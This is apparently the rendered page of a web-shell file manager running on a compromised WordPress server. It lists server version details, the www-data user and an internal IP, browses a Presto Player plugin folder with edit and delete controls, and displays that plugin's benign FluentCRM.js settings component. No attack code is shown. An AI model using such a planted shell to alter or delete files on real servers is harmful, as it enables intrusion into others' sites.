[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
pages
/
parts
/
integration
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 ActiveCampaign.js
2,764 B
SET
[ EDIT ]
|
[ DEL ]
📄 FluentCRM.js
1,992 B
SET
[ EDIT ]
|
[ DEL ]
📄 Mailchimp.js
2,727 B
SET
[ EDIT ]
|
[ DEL ]
📄 MailerLite.js
2,734 B
SET
[ EDIT ]
|
[ DEL ]
📄 withIntegration.js
1,827 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: FluentCRM.js
import { Notice, PanelRow } from "@wordpress/components"; import { compose } from "@wordpress/compose"; import { __ } from "@wordpress/i18n"; import Integration from "../../../components/Integration"; import withIntegration from "./withIntegration"; export default compose([withIntegration({ name: "presto_player_fluentcrm" })])( ({ error, setError, isBusy, makeRequest, setting, updateSetting }) => { const setData = (props) => { updateSetting({ ...props, }); }; const { connected } = setting || {}; const onConnect = () => { makeRequest({ path: "/presto-player/v1/fluentcrm/connect", message: __("Installed and connected", "presto-player"), success: setData, error: setData, }); }; const onDisconnect = async () => { makeRequest({ path: "/presto-player/v1/fluentcrm/disconnect", message: __("Deactivated", "presto-player"), success: setData, error: setData, }); }; return ( <Integration title={"FluentCRM"} connected={connected} onConnect={onConnect} onDisconnect={onDisconnect} connectButtonText={__("Install FluentCRM Plugin", "presto-player")} disconnectButtonText={__( "Deactivate FluentCRM Plugin", "presto-player" )} isBusy={isBusy} > {error && ( <PanelRow> <Notice className="presto-notice" status="error" onRemove={() => setError("")} > {error} </Notice> </PanelRow> )} {connected && ( <PanelRow> <Notice className="presto-notice" status="success" isDismissible={false} > {__("Installed and connected!", "presto-player")} </Notice> </PanelRow> )} </Integration> ); } );